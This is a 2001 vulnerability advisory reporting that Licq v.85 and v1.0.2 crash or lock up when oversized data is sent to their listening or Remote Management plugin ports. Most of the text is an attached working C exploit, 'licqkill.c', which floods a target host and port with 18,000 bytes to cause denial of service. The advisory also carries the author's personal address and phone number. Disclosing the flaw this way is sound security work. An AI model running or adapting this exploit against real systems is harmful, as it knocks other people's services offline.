Author: Stan Bubrouski ([EMAIL PROTECTED])
Date: February 20, 2001
Package: Licq
Versions affected: v.85 and v1.0.2 and possibly previous or newer versions.
Severity: Remote user's can cause Licq to crash or lock up completely.
Problems: While testing Licq back in December it became apparent to me that
Licq could be made to crash consistently if a certain amount of data is
sent to a port it is listening on. Further testing showed that sending a
certain amount of data to the port the Remote Management Service (RMS)
plugin listens on it too would cause Licq to crash or lock up. The
amount of data needed to be sent to crash Licq may vary from system to
system. On the Red Hat linux 7.0 system I used 16707 or more bytes sent
to the port Licq was listening on was enough to crash it. Sending around
12000 or more characters to the RMS plugin port was enough to crash Licq
on my system as well. I've attached a simple exploit to demonstrate the
DoS. I haven't tested any versions newer than 1.0.2 but they should be
assumed vulnerable as well.
Copyright 2001 Stan Bubrouski
--
Stan Bubrouski [EMAIL PROTECTED]
316 Huntington Ave. Apt #676, Boston, MA 02115 (617) 377-7222
/*
* Name: Licqkill.c
* Author: Stan Bubrouski <[EMAIL PROTECTED]>
* Date: December 26, 2000
* Description: Licq will crash when 16707 or more characters are sent to the port
* Licq is listening on. Finding the port Licq is running on is pretty
* simple because by default it starts using ports around 1100 or so.
This
* has been tested against Licq v.85 and v1.0.2
* Purpose: Proof-of-concept tool for the Licq Denial of Service vulnerability.
*/
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
int main(int argc, char **argv)
{
char buf[18000];
int i, sock, result;
struct sockaddr_in sin;
struct hostent *hn;
printf("licqkill.c - Licq remote DoS by Stan Bubrouski
<[EMAIL PROTECTED]>\n\n");
if (argc < 3)
{
fprintf(stderr, "Usage: %s <host> <port>\n", argv[0]);
exit(-1);
}
hn = gethostbyname(argv[1]);
if (!hn)
{
fprintf(stderr, "%s: host lookup failure\n", argv[1]);
exit(-1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr = *(struct in_addr *)hn->h_addr;
sock = socket(AF_INET, SOCK_STREAM, 0);
result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));
if (result != 0)
{
fprintf(stderr, "Failed to establish connection to %s\n", argv[1]);
exit(-1);
}
if (sock < 0)
{
fprintf(stderr, "Socket error.");
exit(-1);
}
for (i=0; i<18000; i++)
strncat(buf, "A", 1);
send(sock, buf, sizeof(buf), 0);
close(sock);
fprintf(stdout, "Data sent\n\n");
}
